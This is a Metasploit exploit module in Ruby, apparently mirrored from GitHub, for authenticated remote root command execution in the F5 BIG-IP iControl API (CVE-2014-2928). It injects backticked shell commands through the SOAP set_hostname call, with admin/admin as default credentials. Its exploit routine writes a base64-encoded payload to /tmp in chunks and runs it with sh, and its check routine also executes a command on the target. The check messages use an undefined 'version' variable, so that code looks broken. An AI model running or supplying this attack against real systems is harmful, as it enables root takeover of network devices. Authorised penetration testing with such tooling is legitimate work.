modules/exploits/linux/http/f5_icontrol_exec.rb - master - githubmirror/metasploit-framework

modules/exploits/linux/http/f5_icontrol_exec.rb
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Add human-readable descriptions to CheckCode returns in linux/http exploit modules (A-M)
22 апр 2026, 15:08
22 апр 2026, 15:082cbb394
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "F5 iControl Remote Root Command Execution",
        'Description' => %q{
          This module exploits an authenticated remote command execution
          vulnerability in the F5 BIGIP iControl API (and likely other
          F5 devices).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'bperry' # Discovery, Metasploit module
        ],
        'References' => [
          ['CVE', '2014-2928'],
          ['URL', 'http://support.f5.com/kb/en-us/solutions/public/15000/200/sol15220.html'],
          ['ATT&CK', Mitre::Attack::Technique::T1021_REMOTE_SERVICES]
        ],
        'Platform' => ['unix'],
        'Arch' => ARCH_CMD,
        'Targets' => [
          ['F5 iControl', {}]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2013-09-17',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(443),
        OptBool.new('SSL', [true, 'Use SSL', true]),
        OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']),
        OptString.new('HttpUsername', [true, 'The username to authenticate with', 'admin']),
        OptString.new('HttpPassword', [true, 'The password to authenticate with', 'admin'])
      ]
    )
  end

  def check
    get_hostname = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
    <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
    <SOAP-ENV:Body>
    <n1:get_hostname xmlns:n1="urn:iControl:System/Inet" />
    </SOAP-ENV:Body>
    </SOAP-ENV:Envelope>
    }

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
      'method' => 'POST',
      'data' => get_hostname,
      'username' => datastore['HttpUsername'],
      'password' => datastore['HttpPassword']
    })

    res.body =~ /y:string">(.*)<\/return/
    hostname = $1
    send_cmd("whoami")

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
      'method' => 'POST',
      'data' => get_hostname,
      'username' => datastore['HttpUsername'],
      'password' => datastore['HttpPassword']
    })

    res.body =~ /y:string">(.*)<\/return/
    new_hostname = $1

    if new_hostname == "root.a.b"
      pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
        <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
        <SOAP-ENV:Body>
        <n1:set_hostname xmlns:n1="urn:iControl:System/Inet">
        <hostname>#{hostname}</hostname>
        </n1:set_hostname>
        </SOAP-ENV:Body>
        </SOAP-ENV:Envelope>
      }

      send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
        'method' => 'POST',
        'data' => pay,
        'username' => datastore['HttpUsername'],
        'password' => datastore['HttpPassword']
      })

      return Exploit::CheckCode::Vulnerable("Exploitable: version #{version} is vulnerable")
    end

    return Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
  end

  def send_cmd(cmd)
    pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
      <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
      <SOAP-ENV:Body>
      <n1:set_hostname xmlns:n1="urn:iControl:System/Inet">
        <hostname>`#{cmd}`.a.b</hostname>
        </n1:set_hostname>
        </SOAP-ENV:Body>
        </SOAP-ENV:Envelope>
    }

    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
      'method' => 'POST',
      'data' => pay,
      'username' => datastore['HttpUsername'],
      'password' => datastore['HttpPassword']
    })
  end

  def exploit
    filename = Rex::Text.rand_text_alpha_lower(5)

    print_status('Sending payload in chunks, might take a small bit...')
    i = 0
    while i < payload.encoded.length
      cmd = "echo #{Rex::Text.encode_base64(payload.encoded[i..i + 4])}|base64 --decode|tee -a /tmp/#{filename}"
      send_cmd(cmd)
      i = i + 5
    end

    print_status('Triggering payload...')

    send_cmd("sh /tmp/#{filename}")
  end
end